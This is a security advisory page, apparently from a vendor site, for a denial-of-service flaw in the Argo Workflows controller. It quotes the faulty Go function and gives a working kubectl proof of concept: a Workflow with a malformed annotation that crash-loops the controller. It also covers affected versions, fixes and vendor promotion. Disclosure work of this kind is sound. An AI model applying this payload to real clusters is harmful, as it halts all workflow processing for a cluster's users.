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HIGH severity

GHSA-5jv8-h7qh-rf5p

HIGH

GHSA-5jv8-h7qh-rf5p is a high-severity (CVSS 7.7) vulnerability in github.com/argoproj/argo-workflows/v4. O3 Security confirms whether GHSA-5jv8-h7qh-rf5p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Argo Workflows: Unchecked annotation parsing in pod informer crashes Argo Workflows Controller

Also known asBIT-argo-workflows-2026-40886CVE-2026-40886GO-2026-5148
Published
Apr 23, 2026
Updated
Jun 25, 2026
Affected
3 pkgs
Patched
2 / 3
Exploits
None indexed
Exploitation data as of Jun 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

3 pkgs affected
🐹github.com/argoproj/argo-workflows/v4🐹github.com/argoproj/argo-workflows/v3🐹github.com/argoproj/argo-workflows/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

func podGCFromPod(pod *apiv1.Pod) wfv1.PodGC {
    if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok {
        parts := strings.Split(val, "/")
        return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]}
    }
    return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone}
}

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

  • 3.6.x: v3.6.5 through v3.6.19 (backport in #14263)
  • 3.7.x: v3.7.0-rc1 through v3.7.12
  • 4.x: v4.0.0-rc1 through v4.0.3
  • Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  name: crash-podgc
spec:
  entrypoint: main
  serviceAccountName: default
  podGC:
    strategy: OnPodCompletion
  podMetadata:
    annotations:
      workflows.argoproj.io/pod-gc-strategy: "NoSlash"
  templates:
    - name: main
      container:
        image: alpine:3.18
        command: [echo, "hello"]
EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]:
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).commonPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197
github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(*Controller).addPodEvent(...)
    /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.

Affected Packages

3 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/argoproj/argo-workflows/v44.0.0&&< 4.0.54.0.5
🐹Gogithub.com/argoproj/argo-workflows/v33.7.0&&< 3.7.143.7.14
🐹Gogithub.com/argoproj/argo-workflows/v33.6.5No fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5jv8-h7qh-rf5p is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5jv8-h7qh-rf5p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5jv8-h7qh-rf5p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An unchecked array index in the pod informer's `podGCFromPod()` function causes a controller-wide panic when a workflow pod carries a malformed `workflows.argoproj.io/pod-gc-strategy` annotation. Because the panic occurs inside an informer goroutine (outside the controller's `recover()` scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. ### Details `podGCFromPod()` splits the annotation value on "/" and unconditionally accesses `parts[1]`: ```go f
O3 Security · Impact-Aware SCA

Is GHSA-5jv8-h7qh-rf5p in your dependencies?

O3 detects GHSA-5jv8-h7qh-rf5p across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-5jv8-h7qh-rf5p: v4 (High 7.7) | O3 Security